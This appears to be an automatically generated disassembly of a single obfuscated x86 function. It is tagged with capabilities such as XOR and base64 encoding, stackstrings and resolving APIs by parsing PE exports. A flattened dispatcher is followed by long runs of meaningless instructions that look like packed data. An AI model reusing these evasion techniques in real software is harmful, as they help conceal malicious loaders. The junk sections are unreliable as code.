Function at 0x67e2d7b7
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1b4
cmp dword [ebp + 0xc], 3
je 0x67e5a73e
cmp dword [ebp + 0xc], 3
ja 0x67e61517
cmp dword [ebp + 0xc], 2
je 0x67e5a6fb
cmp dword [ebp + 0xc], 2
ja 0x67e61517
cmp dword [ebp + 0xc], 0
je 0x67e5c59d
cmp dword [ebp + 0xc], 1
jne 0x67e61517
mov dword [ebp - 0x40], 0x6ab05
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x48], 0x973b6
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x48]
mov edx, eax
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x40]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x40]
mul dword [ebp - 0x48]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x50]
xor eax, 0x6bdd48e
mov edx, dword [ebp - 0x4c]
xor edx, 0x3f
or eax, edx
je 0x67e344d4
mov edx, 0x6bdd48e
mov eax, 0x3f
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0xf3bd1
or eax, dword [ebp - 0x4c]
je 0x67e2e6c7
mov edx, 0xf3bd1
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0xee7e7
or eax, dword [ebp - 0x4c]
je 0x67e2eca8
mov edx, 0xee7e7
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0xe7c3f
or eax, dword [ebp - 0x4c]
je 0x67e32191
mov edx, 0xe7c3f
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0xd6cf9
or eax, dword [ebp - 0x4c]
je 0x67e31bb0
mov edx, 0xd6cf9
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0xd05c5
or eax, dword [ebp - 0x4c]
je 0x67e32d53
mov edx, 0xd05c5
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0xbef69
or eax, dword [ebp - 0x4c]
je 0x67e32772
mov edx, 0xbef69
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0xb4f2e
or eax, dword [ebp - 0x4c]
je 0x67e2db05
mov edx, 0xb4f2e
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0xad5de
or eax, dword [ebp - 0x4c]
je 0x67e2f86a
mov edx, 0xad5de
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0xab4ba
or eax, dword [ebp - 0x4c]
je 0x67e2f289
mov edx, 0xab4ba
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0x9ef6e
or eax, dword [ebp - 0x4c]
je 0x67e33334
mov edx, 0x9ef6e
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0x9a3b8
or eax, dword [ebp - 0x4c]
je 0x67e30a0d
mov edx, 0x9a3b8
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0x85c41
or eax, dword [ebp - 0x4c]
je 0x67e315cf
mov edx, 0x85c41
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0x70c5b
or eax, dword [ebp - 0x4c]
je 0x67e2e0e6
mov edx, 0x70c5b
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0x6b8b1
or eax, dword [ebp - 0x4c]
je 0x67e2fe4b
mov edx, 0x6b8b1
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0x59828
or eax, dword [ebp - 0x4c]
je 0x67e30fee
mov edx, 0x59828
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0x531c9
or eax, dword [ebp - 0x4c]
je 0x67e33ef6
mov edx, 0x531c9
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x67e344d7
mov eax, dword [ebp - 0x50]
xor eax, 0x10ae9
or eax, dword [ebp - 0x4c]
je 0x67e3042c
mov eax, dword [ebp - 0x50]
xor eax, 0x2f25e
add al, byte [eax]
or eax, dword [ebp - 0x4c]
je 0x67e33915
jmp 0x67e344d7
les edx, [edx + ecx]
inc eax
in eax, dx
test byte [0x352f32db], dl
aas
inc esi
mov ah, 0xb1
xchg edi, eax
not ebx
add eax, 0x6cc5d63d
adc eax, 0x3dc6f7f5
xchg byte [ebx + ecx*2 - 0x6c6005bd], bl
jnp 0x67e2db9d
pop ebp
xchg ebp, eax
fsub qword [ebp - 0x4d436928]
test dword [ebx + 0x6be09b63], 0x3a3040a8
add al, 0xdb
int 0xd9
clc
xchg ecx, eax
jae 0x67e2daf5
cmpsb byte [esi], byte es:[edi]
dec esp
sbb edi, dword [esi]
jmp 0x67e2db5d
mov edi, 0xcd3514b2
and ch, byte cs:[edx]
fcomi st(3)
nop
int3
xchg ebp, eax
daa
insd dword es:[edi], dx
in al, dx
or eax, 0x398399fe
in eax, 0xcc
jp 0x67e2dbc7
or eax, 0xc5981f81
add eax, 0xc67d35a0
jle 0x67e2dc13
sbb ch, byte [eax]
cmp eax, 0x2ddc9b6a
aam 0x9f
scasb al, byte es:[edi]
and eax, dword [eax]
out 0x56, al
sub edi, dword [edi - 0x792d0b8a]
into
nop
int3
hlt
arpl word [edi - 0x1a], dx
fucomp st(2)
ror bl, 1
or dh, 0x97
invalid
je 0x67e2e0e9
invalid
invalid
push ecx
stosd dword es:[edi], eax
stc
int3
clc
int3
mov edx, 0xade4870f
std
sub eax, 0xefc53332
loope 0x67e2ec6b
jns 0x67e2ecde
adc al, 0x7f
into
dec edi
and al, 0x40
out dx, eax
xor dword [edi + 0x56], ecx
jecxz 0x67e2ecc6
inc edx
or byte [esi], ah
mov dh, 0
les ebp, ds:[edx - 0x4d]
jmp 0xfb0a64c
or byte [ebp + 0x29f4f048], bl
push es
mov eax, 0x5371e7a7
fldcw word [edx + 0x7a]
invalid
xor eax, 0x8e519b9
invalid
salc
sub ebx, dword gs:[eax + edi*4 + 0x40]
cmp ebp, dword [0x46aa4fc0]
mov edx, 0xd0a9936f
pop edx
inc al
ret 0x6bc6
mov ah, 0x61
adc eax, 0x2bd6c030
jo 0x67e2fe47
mov dh, 0xc3
adc dword [eax + 0x1e86c830], 0xffffffb9
and bh, ch
int1
ret 0xcc90
lea eax, [esi]
add byte [edx + 0x10], ch
push 0x10
pop ebx
jno 0x67e2fe9c
aaa
cmp dword [ebp + 5], esp
mov edi, 0x45ca54df
daa
sub byte [ecx + 0x2ed49e44], cl
nop
xor al, 0x3d
jg 0x67e2fe99
fisubr word [edx + 0x68]
jg 0x67e2fe2e
fsub dword [esi - 0x508eb458]
aaa
or dword [edi + 0x729cbc25], esi
mov eax, dword [0x6c43b6bc]
invalid
mov dl, 0x4b
pop es
adc eax, 0x1b3dcef1
nop
or dword [edx], esi
scasb al, byte es:[edi]
arpl di, cx
nop
xchg esi, eax
iretd
aad 0xc
ret
xor al, 0x81
invalid
jb 0x67e309d4
xor dword [0xf4fbca08], esp
aas
test dword [esi], edi
movsd dword es:[edi], dword [esi]
popal
dec ecx
sbb eax, 0x28088219
stosd dword es:[edi], eax
sub dword [ebx + esi*8], ecx
ficomp word [esi + 0x50b0d4dd]
mov fs, word [edx + 0x1d]
out 4, eax
and edi, edx
add al, 0x21
xlatb
insb byte es:[edi], dx
dec edi
or edx, dword [ebx - 0x32]
arpl word [ecx + 0x62e16627], ax
mov es, word [edx + 0x5e]
lahf
stc
and dword [eax], eax
fiadd dword [ebx + 0x44]
outsd dx, dword [esi]
jg 0x67e3099d
test ch, dl
push ecx
rol ch, 0x16
cli
dec esp
ficom dword [edi]
das
dec edx
mov eax, dword [0x8248a5e4]
sub byte [esi + esi*2 + 0xd], bh
stosb byte es:[edi], al
seto ah
jmp 0x67e344d8
add ch, bh
loopne 0x67e30a8f
stosd dword es:[edi], eax
cmp ah, byte es:[ebx]
sal byte [ebx - 0x65], 1
and edx, eax
jae 0x67e309b3
sub bh, byte [eax - 0x17]
fdivr qword [edx - 0x28410fa5]
or byte [ecx - 0x2bc5d5bd], bl
xor dword [ebx + 0x42], esp
jo 0x67e30a14
xor dh, byte [esp + edi*2 - 0x45]
push es
sal word [ebx - 0x34f51340], 1
xor cl, al
xchg edi, eax
or byte [ebp + 0x2a], al
in al, dx
out dx, al
imul ebx, ebx, 0xe167b2a7
xchg edx, eax
mov ch, 0xa9
push ds
mov ecx, dword [ebp + 0x629f7053]
xor dh, al
ror dl, 0xba
into
cmp byte [eax - 0x34], 0x85
sub byte [0x1dddbdd0], bh
push ecx
test al, 0x45
jb 0x67e309f9
arpl sp, si
inc ecx
nop
retf
cmp al, 0x11
push edx
cmp word [edi + 0x4799b450], dx
jns 0x67e30b19
rcr dword [ebp - 0x16e4321f], 1
hlt
sub edi, dword [ebp - 0x58d594e9]
push ecx
insb byte es:[edi], dx
and al, 0x9a
sub eax, 0x8c33b1d7
jle 0x67e30b06
retf 0x3093
mov edi, 0x920a84f4
adc dword [ebx + 0x4cfe8abc], esp
wait
mov ebx, 0xc09337d3
fist dword [esi]
xchg ebx, eax
rcr bl, 0x16
push esp
scasb al, byte es:[edi]
mov byte [esi - 0x4965f242], ah
mov byte [0x47fa03c8], al
inc byte [esi]
push es
pop esp
mov esi, 0x1af5baa7
aam 0xf6
sbb eax, eax
mov eax, dword [0x615a7c1a]
bound esp, qword [edx]
jnp 0x67e30ab5
jl 0x67e30af7
test ecx, ebx
ror dword [esp + ecx + 0x4a], cl
cmp al, 0x89
nop
int3
mov esp, ebp
stosb byte es:[edi], al
in eax, 0xaa
mov dword [0xb38baa4b], eax
sub dword [ecx], ebp
jae 0x67e30f9f
pop esi
and al, byte [eax - 0x64338cf8]
push ebp
retf 0xee20
xchg esi, edx
or eax, 0xf7c347b3
lea edi, [esi]
cmp al, 0x47
push edx
mov ah, 0x11
or eax, 0xe2192c1e
push edx
mov ch, 0xd5
aas
arpl word [ebx], bp
dec ebx
mov bh, 0x62
push eax
scasb al, byte es:[edi]
inc ebx
sar dword [edi - 0x63], 1
mov dword [edx], edx
dec esp
and ebp, eax
js 0x67e30fa0
daa
fcom qword [edx]
push ebx
out 0x2e, al
dec esi
inc esi
mov esp, 0xdd8a3d42
and byte [ebx - 0x7d24c0c0], 0x10
invalid
push 0x7c
nop
int3
lodsb al, byte [esi]
sub al, 0xa6
mov ebx, 0x70fd005
pop es
xor ecx, ebx
sbb bh, cl
movsb byte es:[edi], byte [esi]
mov bh, 0xbd
jecxz 0x67e3161f
ja 0x67e3164d
ljmp 0x659e:0x7cb9de1e
adc ebp, dword [edi - 0x1a]
jnp 0x67e31640
add eax, 0x392c11fe
cld
sub eax, 0xc0d0647c
cmp eax, 0xe13e4dbb
jb 0x67e31671
and bh, al
adc eax, 0xfe87c2a0
aad 0x12
fimul word [ecx - 0x5c]
mov eax, 0x178e72ab
jle 0x67e315d7
sbb dword [ecx], 0xa1660783
js 0x67e315c6
test esp, ecx
mov byte [eax], bl
dec edx
test al, 0x51
sbb byte [edx - 0x58], cl
push ecx
out 0x45, eax
pushal
imul edx, dword [ecx - 0x51], 0x3d100641
jbe 0x67e315ea
and ecx, dword [ecx]
nop
int3
lds esp, [ecx - 0x40]
call 0x52450291
mov ah, 0x92
push ds
setbe byte [edi]
pop ss
and eax, 0x586d6c65
insb byte es:[edi], dx
insd dword es:[edi], dx
pop eax
sbb eax, ecx
mov bl, 0x11
nop
sub esp, dword [eax]
push 0xffffffffffffff88
mov eax, 0x585902fc
mov dword [ecx - 0x18], ecx
rcr dword [ecx], 0x5e
sbb byte [ebx - 0xe], ah
mov ah, 0x1e
pop ebx
ja 0x67e3164f
test dword [ebp - 0x12], 0xd1bff5b5
xor eax, dword [esi - 0x24]
out dx, al
mov ch, 0xf5
mov edi, 0xdc4633d1
and dh, byte [eax]
xor byte [0xf30d86bb], bh
inc ebp
sbb esp, esp
adc dword [ebp + 0x2e], esp
insb byte es:[edi], dx
mov al, 0x3b
out 0x6f, eax
push ebp
push esp
push 0xffffffffffffffa9
pop ss
xchg esi, eax
stosb byte es:[edi], al
nop
int3
out 0x13, al
pop edx
les ebp, [ebx - 0x29]
cmp eax, 0xa3b476c
push edi
mov dword [ecx - 0x4e], 0x35e51f1f
outsb dx, byte [esi]
insb byte es:[edi], dx
invalid
daa
xchg dword [edx - 0x70], esi
int3
test dword [edx - 0x7cd6d490], 0xa9086412
or edx, dword [esp + edi*8 + 0x22]
or byte fs:[ecx + 0x22fc540b], ch
jbe 0x67e32198
leave
into
xchg esi, eax
push ebx
daa
fdiv dword [ecx + 0x2fc4cd4f]
jp 0x67e32208
mov dh, 0x7c
sahf
lodsd eax, dword [esi]
jmp 0x67e32187
scasb al, byte es:[edi]
fcomi st(3)
sub dword [ebp - 0x9a57f34], ebp
xor dword [edi + ecx*4 - 0x6e], esp
in al, 5
pop eax
sbb byte [eax + 0x1ce51c1], cl
invalid
je 0x67e327bb
xor dword [ebx], 0xe954ae50
dec eax
out 0xad, eax
cdq
sbb eax, dword [eax + 0x5d30dd5c]
sub ebx, dword [ebx - 0x33]
xchg edx, eax
and ch, bl
add ah, byte [ebx]
push ebp
pop ds
invalid
xchg ecx, eax
pop ebx
mov edi, eax
sub edx, edx
int 0x4b
pop es
rcl dword [esi - 0x45b7b7f5]
push 0x6f
test byte [edx], 0xf9
rol byte [esi + 0x35], 1
in eax, 0x8c
mov eax, 0x26e3cbb5
xchg edx, eax
pop esi
jnp 0x67e32745
lahf
cmp al, 0xca
pushfd
and eax, 0xc087903e
cli
jae 0x67e32760
or dh, 0xb7
retf 0xb59e
lodsb al, byte [esi]
imul esp, ecx, 0x51
mov edi, 0xf57a718
ficomp dword [ebx + 0x1c]
push eax
dec ecx
dec edx
lcall 0x6f7e, 0xba1a2ef0
leave
sub al, 0x4e
nop
int3
invalid
mov byte [0xcae673e1], al
inc eax
cmp eax, 0x90d5f474
int3
cmpsd dword [esi], dword es:[edi]
xchg edx, eax
lcall 0x73a2, 0x42cf18af
sub ecx, dword [ecx - 0x36]
scasd eax, dword es:[edi]
xchg edx, eax
imul edi, dword [esi - 0x3c], 0x3c701e55
pop esp
add ebx, dword [edi + 0x76]
push esp
push eax
sar dword [eax - 0x66], 0x3c
add dword [edx], 0xffffff8f
loope 0x67e33323
sub esi, dword [ebp + 0x5e67bc75]
cmpsb byte [esi], byte es:[edi]
fnsave dword [bp + di + 0x2e89]
mov eax, 0xdd4b9548
cmp eax, 0xdc902502
cmpsd dword [esi], dword es:[edi]
in eax, dx
adc esp, esi
pop esp
sti
mov dword [0x8991932e], eax
leave
dec ecx
iretd
add byte [eax - 0x44], ch
pop ebp
xchg edx, eax
sub eax, 0x180ef874
and ebx, dword [ebx]
push esi
call 0xb041816b
push 0x2d925dbc
je 0x67e33914
push cs
sbb byte [ebx], ah
sbb edx, dword [esi - 0x18]
inc ebp
dec eax
pop esi
dec eax
in al, dx
sbb dword [esi - 0x2e], ebx
jb 0x67e33982
inc ebx
xchg esp, eax
cmpsd dword [esi], dword es:[edi]
jg 0x67e33935
aad 0xd0
outsd dx, dword [esi]
sbb eax, 0xe6051be3
cmp dl, byte [ecx + 0x7e]
jecxz 0x67e33952
add eax, 0x7e513ae6
or al, 0xa0
xor al, 0x1d
int 0x16
cmp bl, cl
mov esp, 0x61413f52
mov esp, 0x899dae13
lodsd eax, dword [esi]
into
mov cs, word ss:[esi]
mov cs, word [esi]
push cs
jle 0x67e33940
hlt
mov dword [ecx + 0x4a], ecx
not dword [ecx - 0xd183370]
pushfd
pop esi
xor ah, ch
xor al, 0xdd
jle 0x67e33951
into
pop edi
push es
in al, dx
jae 0x67e339c8
mov ebp, 0x1f9811f9
sub eax, 0xc4fa4da
jle 0x67e33996
jae 0x67e3398d
jecxz 0x67e33972
sbb dword [edx], 0xa75d19a5
fistp word [ecx - 0x14df6f0d]
pop edi
ljmp 0x9dba
rol dword [edi - 0x238d43b], 1
retf 0x3ffa
sar ch, cl
lea edx, [eax - 0x702eb9a2]
inc edi
pop edi
or eax, ebp
pop esi
inc esi
ror dword [edi - 0x17f6a0b9], 1
dec esi
mov esi, 0x5b885774
enter 0xffffffffffffa290, 0x60
je 0x67e33ea4
mov byte [ebx - 0x38], bl
nop
mov byte [0x3ae8e260], al
jns 0x67e33e52
pushal
loop 0x67e33e3d
cmp bh, byte [ecx - 6]
aaa
adc esp, esp
cmp al, byte [ebp - 0x61]
jbe 0x67e33e41
cmc
lahf
sar dword [edi - 0x7f6fc9a7], cl
dec ecx
push esp
inc ecx
movsd dword es:[edi], dword [esi]
jge 0x67e33eac
mov ecx, 0x7bea0b56
dec ebp
mov ebx, 0x2e856098
invalid
inc esp
sub edx, edx
das
shr byte [edi], cl
cmp byte [ebx], dh
pop es
leave
sub dword es:[edx - 0x14db5bdb], edx
or al, 0xc8
ja 0x67e33f2b
xlatb
wait
cmc
lodsb al, byte [esi]
cld
xchg byte [ecx - 0x15], cl
mov ebx, 0x715e51ba
jp 0x67e33e4b
and esi, 0x5cec519c
xor bh, byte [eax]
or cl, al
inc edx
fadd st(0), st(0)
mov bl, cl
test eax, 0x48a18fc3
pop ebx
push eax
add ch, al
jp 0x67e33f2c
add dl, byte [ebx + 0x73]
or eax, 0x7237402e
jp 0x67e33ea6
invalid
jmp 0x67e344d8
jg 0x67e33ee3
xchg esi, eax
ficomp dword [edx + 0x773cd727]
outsd dx, dword [esi]
int1
into
fidivr word [eax*8 + 0x2b0b02a]
pop edx
mov ebx, 0x13d21262
shl dword [ecx], 1
test eax, 0xbaae1765
ja 0x67e33ef1
les ebx, [edx + 0x64]
mov dh, 0xb8
int1
in eax, 0xc6
out dx, eax
int1
int 0xd2
xor cl, dh
popal
fisub dword [0xab531389]
mov dword [ebx], edx
push ebx
stosd dword es:[edi], eax
adc edx, dword [ebx - 0x55]
ror byte [ecx], cl
sub bh, byte [ecx + 0xe]
sub al, 0x63
std
add dword [edx - 0x65], eax
cwde
out 0x89, eax
dec esi
invalid
nop
jmp 0x67e344d8
nop
call 0x67c4f11b
mov dword [ebp - 0x58], 0x4b77f
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x60], 0x8169
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x58]
mov edx, dword [ebp - 0x54]
sub eax, dword [ebp - 0x60]
sbb edx, dword [ebp - 0x5c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0xe810e
or eax, dword [ebp - 0x64]
je 0x67e38897
mov edx, 0xe810e
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0xcccbc
or eax, dword [ebp - 0x64]
je 0x67e36551
mov edx, 0xcccbc
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0xc6afd
or eax, dword [ebp - 0x64]
je 0x67e3abdd
mov edx, 0xc6afd
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0xb6ad6
or eax, dword [ebp - 0x64]
je 0x67e37113
mov edx, 0xb6ad6
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0xa38d8
or eax, dword [ebp - 0x64]
je 0x67e3b1be
mov edx, 0xa38d8
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0xa33db
or eax, dword [ebp - 0x64]
je 0x67e38e78
mov edx, 0xa33db
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x87bd3
or eax, dword [ebp - 0x64]
je 0x67e3a01b
mov edx, 0x87bd3
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x7cf1b
or eax, dword [ebp - 0x64]
je 0x67e353ae
mov edx, 0x7cf1b
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x7a5c0
or eax, dword [ebp - 0x64]
je 0x67e3a5fc
mov edx, 0x7a5c0
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x78163
or eax, dword [ebp - 0x64]
je 0x67e37cd5
mov edx, 0x78163
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x76be9
or eax, dword [ebp - 0x64]
je 0x67e376f4
mov edx, 0x76be9
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x61ab5
or eax, dword [ebp - 0x64]
je 0x67e39459
mov edx, 0x61ab5
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x443fd
or eax, dword [ebp - 0x64]
je 0x67e35f70
mov edx, 0x443fd
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x43616
or eax, dword [ebp - 0x64]
je 0x67e3b79f
mov edx, 0x43616
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x2f12a
or eax, dword [ebp - 0x64]
je 0x67e3598f
mov edx, 0x2f12a
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x2e78c
or eax, dword [ebp - 0x64]
je 0x67e382b6
mov edx, 0x2e78c
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x1d155
or eax, dword [ebp - 0x64]
je 0x67e34dcd
mov edx, 0x1d155
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x1b60c
or eax, dword [ebp - 0x64]
je 0x67e347ec
mov edx, 0x1b60c
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67e3b79c
mov eax, dword [ebp - 0x68]
xor eax, 0x13efb
or eax, dword [ebp - 0x64]
je 0x67e39a3a
mov eax, dword [ebp - 0x68]
xor eax, 0x19471
or eax, dword [ebp - 0x64]
je 0x67e36b32
jmp 0x67e3b79c
mov ah, 0x8d
cmp dl, ah
xchg esp, eax
lcall 0x2f0, 0xc8e5f43
sub al, 0x85
sar byte [eax], cl
xchg ecx, eax
lodsd eax, dword [esi]
in eax, 0xbb
sbb byte fs:[ebx], 0xf0
pop edx
daa
test dword [eax + edx*2], 0x78968fb8
dec ebp
push es
jbe 0x67e34834
mov ebp, 0x3c7bca47
fbld tbyte [ecx - 0x70]
or edi, dword [ebp + 0x4b]
iretd
add ebp, ebp
xor bl, 0xca
cmp eax, 0x679403a4
test eax, 0x3dd23538
pop ss
adc ch, byte [esp - 0xc18b846]
sbb dword [ecx + 0x14], eax
or byte [edi + 0x7d], bl
invalid
cmp eax, 0x64ac1217
mov edx, 0x19f3e747
inc ecx
adc al, 8
pop edi
jge 0x67e34834
loopne 0x67e34826
out 0xb5, eax
push 0xffffffffffffffe1
ret 0xef7a
test byte [eax], 0xfd
stc
push esp
rcr dword [edi], 0xea
sub dword [ecx + 0x4e3a862e], esp
ret
mov eax, dword [0x9f18b432]
push ss
push 0xea6d99ee
lock xor byte gs:[edx], dl
lodsd eax, dword fs:[esi]
retf 0xdfc4
xor dword [eax - 0x236831bf], ebp
mov bl, 0x4d
xchg ecx, eax
daa
mov esp, 0x90e96d60
int3
insb byte es:[edi], dx
cmp edi, dword [edx]
pushfd
pop ebp
out 0x13, al
cmc
jb 0x67e35979
mov cs, esi
jmp 0xcdc8d604
call 0x3c680cde
call 0x58553f09
scasd eax, dword es:[edi]
xor eax, 0x6f504b91
retf 0x2a91
dec edx
sahf
dec edx
invalid
cmp ebx, dword [eax - 0x246fd1ef]
mov ebp, 0x4547d5
clc
pop edi
or dl, 0x32
enter 0xffffffffffffba1c, 0x6f
mov eax, 0x953798d9
pop ebx
outsb dx, byte [esi]
in al, 5
adc al, 0x2d
xchg ecx, eax
dec ebp
push 0x7c
mov bh, 0x6c
fild qword [edx - 0x70]
int3
add byte [eax], al
out 0xf8, eax
add eax, ebp
ror byte [ebp - 0x5347e89c], 0xea
jnp 0x67e36537
lcall 0x975f, 0x83856e76
jle 0x67e36523
cmp dword [eax - 0x3af849d4], ecx
cmpsd dword [esi], dword es:[edi]
mov ch, 0xfd
lahf
xchg ebp, eax
cmp edx, dword [ebx + 0x554bc0f0]
jae 0x67e3654f
rcr byte [esi], cl
loop 0x67e3659b
adc dword [ecx - 0x26c9834d], esp
cmp al, 0x3c
cmp edx, edi
sbb ch, byte [ecx - 0x3e]
lodsd eax, dword [esi]
jo 0x67e36519
or al, byte [ebp - 0x29aea15e]
mov ah, 0x1a
sahf
mov ch, 0x13
or eax, 0x48224554
arpl word [ebp], ax
xchg eax, eax
push 0x7d
fidivr dword [esi]
invalid
inc ebp
and cl, byte [eax + 0x63]
inc ebp
add byte [edi - 0x25829540], al
invalid
jmp 0x67e36b3c
invalid
iretd
ret
lodsb al, byte [esi]
cmp eax, 0xac2dc0fe
movsd dword es:[edi], dword [esi]
in eax, 0xed
mov ebp, 0x7e4f168e
push edx
pop esi
jp 0x67e37686
insd dword es:[edi], dx
pop ebp
popfd
leave
or ebx, ebx
movsb byte es:[edi], byte [esi]
sub eax, 0x8ae6ba3e
daa
and bl, ch
invalid
enter 0x1483, 0x44
call 0xeac742ae
rcr edx, cl
mov word [0xfda19322], es
push 0x13
je 0x67e37d0c
inc edx
jp 0x67e37d57
push esi
test al, 0x8a
mov bl, byte [edx + 0x582c9c0c]
pop ecx
mov ch, 0xd0
jnp 0x67e37d11
and ebx, ebx
nop
sbb byte [edx], bh
xchg ebx, eax
mov bl, 0xc
and dword [edx - 0x4fab08d6], 0xffffffb3
scasd eax, dword es:[edi]
jg 0x67e37d2b
push ds
xchg esp, eax
stosb byte es:[edi], al
push cs
and ebx, dword [edi - 0x2af3226c]
and ebx, dword [edi - 0x2af3226c]
out 0x8b, al
int1
push esp
push edi
mov ecx, 0xac102b74
pop ds
dec esi
add dh, 1
xor byte [edi + 0x2ca963d6], dh
aad 0x37
or ebp, edx
insd dword es:[edi], dx
test al, 0xa6
sti
inc edi
and byte [eax + 0x6c71decc], dl
jp 0x67e37d48
test eax, 0xb37d52c
ljmp 0x2047
lahf
daa
pop esi
invalid
ja 0x67e37d0c
pop ebp
out 6, al
rol bh, 0x79
inc ebp
add dword [ecx - 0xe], edi
jge 0x67e37dcd
lodsd eax, dword [esi]
adc al, 0x1d
xor al, 0x49
mov bl, 0xba
pop eax
aad 0xfa
test ebp, edi
cmp dword [edi - 0x68], eax
mov esi, 0xe5b2a61a
or eax, 0xee4a76f
push edi
outsb dx, byte [esi]
mov byte [0xad9289be], al
salc
adc dh, al
pop ecx
mov dword [esi - 0x13], ecx
jl 0x67e37d8c
mov bh, 0x30
imul esi, dword [edi - 0x51280347], 0x586973b0
aas
